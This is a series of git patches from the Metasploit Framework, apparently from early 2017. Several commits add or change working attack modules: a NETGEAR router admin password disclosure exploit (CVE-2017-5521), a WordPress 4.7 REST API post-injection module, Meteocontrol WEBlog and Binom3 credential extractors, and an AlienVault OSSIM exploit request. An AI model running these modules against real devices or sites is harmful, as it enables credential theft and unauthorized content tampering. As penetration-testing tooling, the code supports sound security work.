+ print_good("#{rhost}:#{rport} - Configuration file retrieved successfully!") path = store_loot( 'Binom3_config', 'text/xml', @@ -169,35 +168,33 @@ class MetasploitModule < Msf::Auxiliary rport, 'Binom3 device config' ) - print_status("#{rhost}:#{rport} - File saved in: #{path}") + print_status("#{rhost}:#{rport} - Configuration file saved in: #{path}") else print_error("#{rhost}:#{rport} - Failed to retrieve configuration") return end - if user == 'root' - config_uri = '~cfg_ask_xml?type=passw' - res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie }) + # Attempt to dump password file + config_uri = '~cfg_ask_xml?type=passw' + res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie }) - if res && res.code == 200 - print_good('++++++++++++++++++++++++++++++++++++++') - print_good("#{rhost} - dumping password file") - print_good('++++++++++++++++++++++++++++++++++++++') + if res && res.code == 200 + vprint_status('++++++++++++++++++++++++++++++++++++++') + vprint_status("#{rhost} - dumping password file") + vprint_status('++++++++++++++++++++++++++++++++++++++') - print_good("#{rhost}:#{rport} - File retrieved successfully!") - path = store_loot( - 'Binom3_passw', - 'text/xml', - rhost, - res.body, - rport, - 'Binom3 device config' - ) - print_status("#{rhost}:#{rport} - File saved in: #{path}") - else - print_error("#{rhost}:#{rport} - Failed to retrieve password file") - return - end + print_good("#{rhost}:#{rport} - Password file retrieved successfully!") + path = store_loot( + 'Binom3_passw', + 'text/xml', + rhost, + res.body, + rport, + 'Binom3 device config' + ) + print_status("#{rhost}:#{rport} - Password file saved in: #{path}") + else + return end else print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") From e891063b74b1f6a9f43a6a185401cda47d3f233d Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 3 Feb 2017 14:29:29 -0600 Subject: [PATCH 077/426] Update doc --- .../modules/exploit/windows/fileformat/office_word_macro.md | 1 + 1 file changed, 1 insertion(+) diff --git a/documentation/modules/exploit/windows/fileformat/office_word_macro.md b/documentation/modules/exploit/windows/fileformat/office_word_macro.md index c8b3df7d45..b779f25a13 100644 --- a/documentation/modules/exploit/windows/fileformat/office_word_macro.md +++ b/documentation/modules/exploit/windows/fileformat/office_word_macro.md @@ -22,6 +22,7 @@ Specifically, this module was tested specifically against: * Microsoft Office 2010. * Microsoft Office 2013. +* Microsoft Office 2016. ## Verification Steps From fdbed0f6db0f94097c8c87871dd7ee0f83be6239 Mon Sep 17 00:00:00 2001 From: Mehmet Ince Date: Fri, 3 Feb 2017 23:39:43 +0300 Subject: [PATCH 078/426] Updating documentation with a new download page url --- documentation/modules/exploit/linux/http/alienvault_exec.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/http/alienvault_exec.md b/documentation/modules/exploit/linux/http/alienvault_exec.md index 7ffa733718..17e32118c3 100644 --- a/documentation/modules/exploit/linux/http/alienvault_exec.md +++ b/documentation/modules/exploit/linux/http/alienvault_exec.md @@ -13,7 +13,7 @@ This module was tested against AlienVault USM 5.2.5. **Vulnerable Application Installation Steps** Major version of older releases can be found at following URL. -[http://downloads.alienvault.com/c/download](http://downloads.alienvault.com/c/download) +[http://downloads.eu.alienvault.com/c/download](http://downloads.eu.alienvault.com/c/download) You can download file named as AlienVault-USM_trial_5.2.5.zip which contains a OVA file. In order to complete installation phase, you have to apply [https://www.alienvault.com/try-it-free](https://www.alienvault.com/try-it-free) . From 906fcfe3550fd0c56e79138322b7c231867492b9 Mon Sep 17 00:00:00 2001 From: Mehmet Ince Date: Fri, 3 Feb 2017 23:45:33 +0300 Subject: [PATCH 079/426] OSSIM 5.0.0 version requires a authen token on action create --- modules/exploits/linux/http/alienvault_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/alienvault_exec.rb b/modules/exploits/linux/http/alienvault_exec.rb index 9e08968bad..ea969bc932 100644 --- a/modules/exploits/linux/http/alienvault_exec.rb +++ b/modules/exploits/linux/http/alienvault_exec.rb @@ -127,9 +127,9 @@ class MetasploitModule < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'), + 'cookie' => cookie, 'headers' => { 'X-Forwarded-For' => rhost.to_s, - 'User-Agent' => 'AV Report Scheduler', }, 'vars_post' => { 'id' => '', From 36416c20cb574a8d5b6e23f5faf2e1344e52b775 Mon Sep 17 00:00:00 2001 From: juushya Date: Sat, 4 Feb 2017 03:00:31 +0530 Subject: [PATCH 080/426] Updated check for extract fail case now + Minor edits --- .../http/meteocontrol_weblog_extractadmin.rb | 47 ++++++++++--------- 1 file changed, 25 insertions(+), 22 deletions(-) diff --git a/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb index 2887c85bb7..619cbf410c 100644 --- a/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb +++ b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb @@ -13,21 +13,21 @@ class MetasploitModule < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => 'Meteocontrol WEBlog Password Extractor', + 'Name' => 'Meteocontrol WEBlog Password Extractor', 'Description' => %{ This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog appliances (software version < May 2016 release) to extract Administrator password for the device management portal. }, - 'References' => + 'References' => [ ['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01'], ['CVE', '2016-2296'], ['CVE', '2016-2298'] ], - 'Author' => + 'Author' => [ 'Karn Ganeshen ' ], - 'License' => MSF_LICENSE)) + 'License' => MSF_LICENSE)) register_options( [ @@ -51,8 +51,8 @@ class MetasploitModule < Msf::Auxiliary def is_app_metweblog? begin res = send_request_cgi({ - 'uri' => '/html/en/index.html', - 'method' => 'GET' + 'uri' => '/html/en/index.html', + 'method' => 'GET' }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError @@ -60,7 +60,7 @@ class MetasploitModule < Msf::Auxiliary return false end - if (res && res.code == 200 && (res.headers['Server'] && res.headers['Server'].include?("IS2 Web Server") || res.body.include?("WEB'log"))) + if (res && res.code == 200 && (res.headers['Server'] && res.headers['Server'].include?('IS2 Web Server') || res.body.include?("WEB'log"))) print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...") return true else @@ -74,12 +74,11 @@ class MetasploitModule < Msf::Auxiliary # def do_extract() - print_status("#{rhost}:#{rport} - Attempting to extract Administrator password...") begin res = send_request_cgi({ - 'uri' => '/html/en/confAccessProt.html', - 'method' => 'GET' + 'uri' => '/html/en/confAccessProt.html', + 'method' => 'GET' }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE @@ -87,20 +86,24 @@ class MetasploitModule < Msf::Auxiliary return end - if (res && res.code == 200 && (res.body.include?("szWebAdminPassword") || res.body=~ /Admin Monitoring/)) + if (res && res.code == 200 && (res.body.include?('szWebAdminPassword') || res.body=~ /Admin Monitoring/)) get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/) - admin_password = get_admin_password[1] - print_good("#{rhost}:#{rport} - Password is #{admin_password}") - report_cred( - ip: rhost, - port: rport, - service_name: 'Meteocontrol WEBlog Management Portal', - password: admin_password, - proof: res.body - ) + if get_admin_password[1] + admin_password = get_admin_password[1] + print_good("#{rhost}:#{rport} - Password is #{admin_password}") + report_cred( + ip: rhost, + port: rport, + service_name: 'Meteocontrol WEBlog Management Portal', + password: admin_password, + proof: res.body + ) + else + # In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Check login manually on http://IP:port/html/en/confAccessProt.html for the szWebAdminPassword field's value. + print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.") + end else - # In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Try login manually in such cases. - print_error("Password not found. Check login manually.") + print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.") end end From d305f895ffd3514b052efa09480cca93977f74c9 Mon Sep 17 00:00:00 2001 From: juushya Date: Sat, 4 Feb 2017 11:59:45 +0530 Subject: [PATCH 081/426] Fixed a typo space --- .../auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb index 619cbf410c..41bcf70ae2 100644 --- a/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb +++ b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb @@ -17,7 +17,7 @@ class MetasploitModule < Msf::Auxiliary 'Description' => %{ This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog appliances (software version < May 2016 release) to extract Administrator password for the device management portal. }, - 'References' => + 'References' => [ ['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01'], ['CVE', '2016-2296'], From 9e0cb9797b844a8e747b74599e32e8cb0d3075a3 Mon Sep 17 00:00:00 2001 From: Tim Date: Sat, 4 Feb 2017 17:57:17 +0800 Subject: [PATCH 082/426] python -c payload -> echo payload | python --- modules/post/multi/manage/shell_to_meterpreter.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 851011b66c..238238efeb 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -174,7 +174,7 @@ class MetasploitModule < Msf::Post end when 'python' vprint_status("Transfer method: Python") - cmd_exec("python -c \"#{payload_data}\"") + cmd_exec("echo \"#{payload_data}\" | python") else vprint_status("Transfer method: Bourne shell [fallback]") exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) From db770617199143674d456552a6c8388c1f4860c9 Mon Sep 17 00:00:00 2001 From: MatToufoutu Date: Sat, 4 Feb 2017 16:24:40 +0100 Subject: [PATCH 083/426] do not add closed ports to database --- modules/auxiliary/scanner/portscan/tcp.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb index e521c053fd..ab240e4f75 100644 --- a/modules/auxiliary/scanner/portscan/tcp.rb +++ b/modules/auxiliary/scanner/portscan/tcp.rb @@ -86,7 +86,6 @@ class MetasploitModule < Msf::Auxiliary end rescue ::Rex::ConnectionRefused vprint_status("#{ip}:#{port} - TCP closed") - r << [ip,port,"closed"] rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error rescue ::Rex::Post::Meterpreter::RequestError rescue ::Interrupt From 79b92ccdc7bc9821a977b1122b329a0d34195189 Mon Sep 17 00:00:00 2001 From: Josh Hale Date: Sat, 4 Feb 2017 16:21:55 -0600 Subject: [PATCH 084/426] Fix for Route Print IPv6 Error --- lib/msf/ui/console/command_dispatcher/core.rb | 36 +++++++++++++++---- 1 file changed, 30 insertions(+), 6 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index a03fa90785..d872c60c90 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -890,9 +890,10 @@ class Core Rex::Socket::SwitchBoard.flush_routes when "print" - tbl = Table.new( + # IPv4 Table + tbl_ipv4 = Table.new( Table::Style::Default, - 'Header' => "Active Routing Table", + 'Header' => "IPv4 Active Routing Table", 'Prefix' => "\n", 'Postfix' => "\n", 'Columns' => @@ -907,6 +908,25 @@ class Core 'Netmask' => { 'MaxWidth' => 17 }, }) + # IPv6 Table + tbl_ipv6 = Table.new( + Table::Style::Default, + 'Header' => "IPv6 Active Routing Table", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Columns' => + [ + 'Subnet', + 'Netmask', + 'Gateway', + ], + 'ColProps' => + { + 'Subnet' => { 'MaxWidth' => 17 }, + 'Netmask' => { 'MaxWidth' => 17 }, + }) + + # Populate Route Tables Rex::Socket::SwitchBoard.each { |route| if (route.comm.kind_of?(Msf::Session)) gw = "Session #{route.comm.sid}" @@ -914,14 +934,18 @@ class Core gw = route.comm.name.split(/::/)[-1] end - tbl << [ route.subnet, route.netmask, gw ] + tbl_ipv4 << [ route.subnet, route.netmask, gw ] if Rex::Socket.is_ipv4?(route.netmask) + tbl_ipv6 << [ route.subnet, route.netmask, gw ] if Rex::Socket.is_ipv6?(route.netmask) } - if tbl.rows.length == 0 + # Print Route Tables + print(tbl_ipv4.to_s) if tbl_ipv4.rows.length > 0 + print(tbl_ipv6.to_s) if tbl_ipv6.rows.length > 0 + + if (tbl_ipv4.rows.length + tbl_ipv6.rows.length) < 1 print_status('There are currently no routes defined.') - else - print(tbl.to_s) end + else cmd_route_help end From 9db2cdb33a29dac23c34e4f3025a0577e3ad88bb Mon Sep 17 00:00:00 2001 From: Artem Date: Sun, 5 Feb 2017 02:00:05 +0300 Subject: [PATCH 085/426] Fix close session Fix close session if remote file is permission deined --- lib/rex/post/meterpreter/channel.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/rex/post/meterpreter/channel.rb b/lib/rex/post/meterpreter/channel.rb index 078a08276f..184b945d49 100644 --- a/lib/rex/post/meterpreter/channel.rb +++ b/lib/rex/post/meterpreter/channel.rb @@ -116,7 +116,6 @@ class Channel begin response = client.send_request(request) cid = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) - rescue RequestError # Handle channel open failure exceptions end From 609ea3700a2e15d6e91b809f802bb877b9295599 Mon Sep 17 00:00:00 2001 From: Carter Date: Sun, 5 Feb 2017 13:39:58 -0500 Subject: [PATCH 086/426] Create netgear_password_disclosure.rb --- .../gather/netgear_password_disclosure.rb | 118 ++++++++++++++++++ 1 file changed, 118 insertions(+) create mode 100644 modules/auxiliary/gather/netgear_password_disclosure.rb diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb new file mode 100644 index 0000000000..1fe215ac7c --- /dev/null +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -0,0 +1,118 @@ +# -*- coding: binary -*- +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NETGEAR Administrator Password Disclosure', + 'Description' => %q{ + This module will collect the the password for the `admin` user. + The exploit will not complete if password recovery is set on the router. + The password is recieved by passing the token generated from `unauth.cgi` + to `passwordrecovered.cgi`. This exploit works on many different NETGEAR + products. The full list of affected productsis available here: + http://pastebin.com/dB4bTgxz + }, + 'Author' => + [ + 'Simon Kenin', # Vuln Discovery, PoC + 'thecarterb' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2017-5521' ], + [ 'URL', 'https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-003/?fid=8911' ], + [ 'URL', 'http://thehackernews.com/2017/01/Netgear-router-password-hacking.html'], + [ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2017-5521--Bypassing-Authentication-on-NETGEAR-Routers/'], + [ 'EDB', '41205'] + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptPort::new('RPORT', [true, 'The port to connect to RHOST with', 80]), + OptString::new('RHOST', [true, 'The router target ip address', nil]) + ], self.class) + end + + # @return substring of 'text', usually a response from a server in this case + def scrape(text, start_trig, end_trig) + return text[/#{start_trig}(.*?)#{end_trig}/m, 1] + end + + def run + rhost = datastore['RHOST'] + print_status("Checking if #{rhost} is a NETGEAR router") + + vprint_status("Sending request to http://#{rhost}/") + + # will always call check no matter what + is_ng = check + + res = send_request_raw({ 'uri' => '/'}) + + if is_ng == Exploit::CheckCode::Detected + marker_one = "id=" + marker_two = "\"" + token = scrape(res.to_s, marker_one, marker_two) + if token == nil + print_error("#{rhost} is not vulnerable: Token not found") + return + end + + print_status("Token found: #{token}") + vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}") + + r = send_request_raw({'uri' => "/passwordrecovered.cgi?id=#{token}"}) + vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}") + + if r.to_s.include?('left">') != nil + username = scrape(r.to_s, "Router Admin Username + ", "") + password = scrape(r.to_s, "Router Admin Password + ", "") + + print_good("Creds found: #{username}/#{password}") + + else + print_error("#{rhost} is not vulnerable because password recovery is on.") + end + else + print_error("#{rhost} is not vulnerable: Not a NETGEAR device") + return + end + end + + #Almost every NETGEAR router sends a 'WWW-Authenticate' header in the response + #This checks the response dor that header. + def check #NOTE: this is working + res = send_request_raw({'uri'=>'/'}) + + unless res + fail_with(Failure::Unknown, 'Connection timed out.') + end + + data = res.to_s + + # Checks for the `WWW-Authenticate` header in the response + if data.include? "WWW-Authenticate" + marker_one = "Basic realm=\"" + marker_two = "\"" + model = data[/#{marker_one}(.*?)#{marker_two}/m, 1] + print_good("Router is a NETGEAR router (#{model})") + return Exploit::CheckCode::Detected + else + print_error('Router is not a NETGEAR router') + return Exploit::CheckCode::Safe + end + end +end From f08590982c98d38e06b7a7194e5ee43f5cb89226 Mon Sep 17 00:00:00 2001 From: Carter Date: Sun, 5 Feb 2017 13:58:01 -0500 Subject: [PATCH 087/426] Fix some msftidy warnings --- .../auxiliary/gather/netgear_password_disclosure.rb | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index 1fe215ac7c..f10685650a 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -68,21 +68,14 @@ class MetasploitModule < Msf::Auxiliary print_error("#{rhost} is not vulnerable: Token not found") return end - print_status("Token found: #{token}") vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}") - r = send_request_raw({'uri' => "/passwordrecovered.cgi?id=#{token}"}) vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}") - if r.to_s.include?('left">') != nil - username = scrape(r.to_s, "Router Admin Username - ", "") - password = scrape(r.to_s, "Router Admin Password - ", "") - + username = scrape(r.to_s, "Router Admin Username", "") + password = scrape(r.to_s, "Router Admin Password", "") print_good("Creds found: #{username}/#{password}") - else print_error("#{rhost} is not vulnerable because password recovery is on.") end @@ -102,7 +95,6 @@ class MetasploitModule < Msf::Auxiliary end data = res.to_s - # Checks for the `WWW-Authenticate` header in the response if data.include? "WWW-Authenticate" marker_one = "Basic realm=\"" From fb7e5ff84704285f91e8a489034071b1e76af1ee Mon Sep 17 00:00:00 2001 From: Carter Date: Sun, 5 Feb 2017 14:00:05 -0500 Subject: [PATCH 088/426] Fix more msftidy warnings --- modules/auxiliary/gather/netgear_password_disclosure.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index f10685650a..4694b0c1b3 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -52,7 +52,6 @@ class MetasploitModule < Msf::Auxiliary def run rhost = datastore['RHOST'] print_status("Checking if #{rhost} is a NETGEAR router") - vprint_status("Sending request to http://#{rhost}/") # will always call check no matter what @@ -76,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary username = scrape(r.to_s, "Router Admin Username", "") password = scrape(r.to_s, "Router Admin Password", "") print_good("Creds found: #{username}/#{password}") - else + else print_error("#{rhost} is not vulnerable because password recovery is on.") end else @@ -89,7 +88,6 @@ class MetasploitModule < Msf::Auxiliary #This checks the response dor that header. def check #NOTE: this is working res = send_request_raw({'uri'=>'/'}) - unless res fail_with(Failure::Unknown, 'Connection timed out.') end From 02afc3af963a8d5dfb5766796d53b66af56aac90 Mon Sep 17 00:00:00 2001 From: Josh Hale Date: Sun, 5 Feb 2017 17:38:30 -0600 Subject: [PATCH 089/426] Add lines for no IPv4/IPv6 routes --- lib/msf/ui/console/command_dispatcher/core.rb | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index d872c60c90..bb1d2bbc32 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -943,7 +943,11 @@ class Core print(tbl_ipv6.to_s) if tbl_ipv6.rows.length > 0 if (tbl_ipv4.rows.length + tbl_ipv6.rows.length) < 1 - print_status('There are currently no routes defined.') + print_status("There are currently no routes defined.") + elsif (tbl_ipv4.rows.length < 1) && (tbl_ipv6.rows.length > 0) + print_status("There are currently no IPv4 routes defined.") + elsif (tbl_ipv4.rows.length > 0) && (tbl_ipv6.rows.length < 1) + print_status("There are currently no IPv6 routes defined.") end else From ba80e1d9e5a76db8ea9898968686f29e27c4f55f Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 6 Feb 2017 00:58:21 -0600 Subject: [PATCH 090/426] Fix report_vuln for aux/scanner checks Msf::Auxiliary::Scanner#setup sets it to nil in instance.check_simple. --- lib/msf/ui/console/module_command_dispatcher.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index 027c367c22..46a80ba9e3 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -192,6 +192,8 @@ module ModuleCommandDispatcher if (code and code.kind_of?(Array) and code.length > 1) if (code == Msf::Exploit::CheckCode::Vulnerable) print_good("#{peer} #{code[1]}") + # Restore RHOST for report_vuln + instance.datastore['RHOST'] ||= rhost report_vuln(instance) else print_status("#{peer} #{code[1]}") From 31f93de150a0dd7fe627c1f4d7330e10e3c7a45b Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 3 Feb 2017 04:39:27 -0600 Subject: [PATCH 091/426] Update HttpClient and WordPress mixins --- lib/msf/core/exploit/http/client.rb | 4 ++-- lib/msf/core/exploit/http/wordpress/uris.rb | 9 ++++++++- lib/msf/core/exploit/http/wordpress/version.rb | 6 +++--- 3 files changed, 13 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 0a44e926de..571d58fb8b 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -463,10 +463,10 @@ module Exploit::Remote::HttpClient end # Returns the complete URI as string including the scheme, port and host - def full_uri + def full_uri(custom_uri = nil) uri_scheme = ssl ? 'https' : 'http' uri_port = rport.to_s == '80' ? '' : ":#{rport}" - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(custom_uri || target_uri.to_s) "#{uri_scheme}://#{rhost}#{uri_port}#{uri}" end diff --git a/lib/msf/core/exploit/http/wordpress/uris.rb b/lib/msf/core/exploit/http/wordpress/uris.rb index 73fbbc77b8..c18511a113 100644 --- a/lib/msf/core/exploit/http/wordpress/uris.rb +++ b/lib/msf/core/exploit/http/wordpress/uris.rb @@ -92,7 +92,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::URIs # @return [String] Wordpress Admin Update URL def wordpress_url_admin_update normalize_uri(wordpress_url_backend, 'update.php') - end + end # Returns the Wordpress wp-content dir URL # @@ -129,4 +129,11 @@ module Msf::Exploit::Remote::HTTP::Wordpress::URIs normalize_uri(target_uri.path, 'xmlrpc.php') end + # Returns the Wordpress REST API URL + # + # @return [String] Wordpress REST API URL + def wordpress_url_rest_api + normalize_uri(target_uri.path, 'index.php/wp-json/wp/v2') + end + end diff --git a/lib/msf/core/exploit/http/wordpress/version.rb b/lib/msf/core/exploit/http/wordpress/version.rb index 3561534b49..0e7128f929 100644 --- a/lib/msf/core/exploit/http/wordpress/version.rb +++ b/lib/msf/core/exploit/http/wordpress/version.rb @@ -3,7 +3,7 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Version # Used to check if the version is correct: must contain at least one dot - WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)' + WORDPRESS_VERSION_PATTERN = '(\d+\.\d+(?:\.\d+)*)' # Extracts the Wordpress version information from various sources # @@ -107,10 +107,10 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Version private def wordpress_version_helper(url, regex) - res = send_request_cgi( + res = send_request_cgi!({ 'method' => 'GET', 'uri' => url - ) + }, 3.5) if res match = res.body.match(regex) return match[1] if match From 8af966a132b0a51d4ea26f8e9270a54e9dabfa7f Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 3 Feb 2017 04:40:01 -0600 Subject: [PATCH 092/426] Add WordPress content injection module --- .../http/wordpress_content_injection.rb | 194 ++++++++++++++++++ 1 file changed, 194 insertions(+) create mode 100644 modules/auxiliary/scanner/http/wordpress_content_injection.rb diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb new file mode 100644 index 0000000000..9c852ba497 --- /dev/null +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -0,0 +1,194 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress REST API Content Injection', + 'Description' => %q{ + This module exploits a content injection vulnerability in WordPress + versions 4.7 and 4.7.1 via type juggling in the REST API. + }, + 'Author' => [ + 'Marc Montpas', # Vulnerability discovery + 'wvu' # Metasploit module + ], + 'References' => [ + ['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'], + ['URL', 'https://secure.php.net/manual/en/language.types.type-juggling.php'], + ['URL', 'https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/'], + ['URL', 'https://developer.wordpress.org/rest-api/reference/posts/'] + ], + 'DisclosureDate' => 'Feb 1 2017', + 'License' => MSF_LICENSE, + 'Actions' => [ + ['LIST', 'Description' => 'List posts'], + ['UPDATE', 'Description' => 'Update post'] + ], + 'DefaultAction' => 'LIST' + )) + + register_options([ + OptInt.new('POST_ID', [false, 'Post ID (0 for all)', 0]), + OptString.new('POST_TITLE', [false, 'Post title']), + OptString.new('POST_CONTENT', [false, 'Post content']), + OptString.new('POST_PASSWORD', [false, 'Post password (\'\' for none)']) + ]) + end + + def check_host(_ip) + if (version = wordpress_version) + version = Gem::Version.new(version) + else + return Exploit::CheckCode::Safe + end + + vprint_status("WordPress #{version}: #{full_uri}") + + if version.between?(Gem::Version.new('4.7'), Gem::Version.new('4.7.1')) + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Detected + end + end + + def run_host(_ip) + case action.name + when 'LIST' + do_list + when 'UPDATE' + do_update + end + end + + def do_list + posts_to_list = list_posts + + return if posts_to_list.empty? + + tbl = Rex::Text::Table.new( + 'Header' => full_uri, + 'Columns' => ['ID', 'Title', 'URL', 'Password'] + ) + + posts_to_list.each do |post| + tbl << [ + post[:id], + Rex::Text.html_decode(post[:title]), + post[:url], + post[:password] ? 'Yes' : 'No' + ] + end + + print_line(tbl.to_s) + end + + def do_update + posts_to_update = [] + + if datastore['POST_ID'] == 0 + posts_to_update = list_posts + else + posts_to_update << {id: datastore['POST_ID']} + end + + return if posts_to_update.empty? + + posts_to_update.each do |post| + res = update_post(post[:id], + title: datastore['POST_TITLE'], + content: datastore['POST_CONTENT'], + password: datastore['POST_PASSWORD'] + ) + + post_url = full_uri(wordpress_url_post(post[:id])) + + if res && res.code == 200 + print_good("SUCCESS: #{post_url}") + else + print_error("FAILURE: #{post_url}") + end + end + end + + def list_posts + posts = [] + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(get_rest_api, 'posts') + }, 3.5) + + if res && res.code == 200 + res.get_json_document.each do |post| + posts << { + id: post['id'], + title: post['title']['rendered'], + url: post['link'], + password: post['content']['protected'] + } + end + end + + posts + end + + def update_post(id, opts = {}) + payload = {} + + payload[:id] = "#{id}#{Rex::Text.rand_text_alpha(8)}" + payload[:title] = opts[:title] if opts[:title] + payload[:content] = opts[:content] if opts[:content] + payload[:password] = opts[:password] if opts[:password] + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(get_rest_api, 'posts', id), + 'ctype' => 'application/json', + 'data' => payload.to_json + }, 3.5) + end + + def get_rest_api + return @rest_api if @rest_api + + res = send_request_cgi!({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }, 3.5) + + if res && res.code == 200 + @rest_api = parse_rest_api(res) + end + + @rest_api ||= wordpress_url_rest_api + end + + def parse_rest_api(res) + rest_api = nil + + link = res.headers['Link'] + html = res.get_html_document + + if link =~ %r{^<(.*)>; rel="https://api\.w\.org/"$} + rest_api = route_rest_api($1) + vprint_status("REST API (Link header): #{rest_api}") + elsif (xpath = html.at('//link[@rel = "https://api.w.org/"]/@href')) + rest_api = route_rest_api(xpath) + vprint_status("REST API (HTML document): #{rest_api}") + end + + rest_api + end + + def route_rest_api(rest_api) + normalize_uri(path_from_uri(rest_api), 'wp/v2') + end + +end From 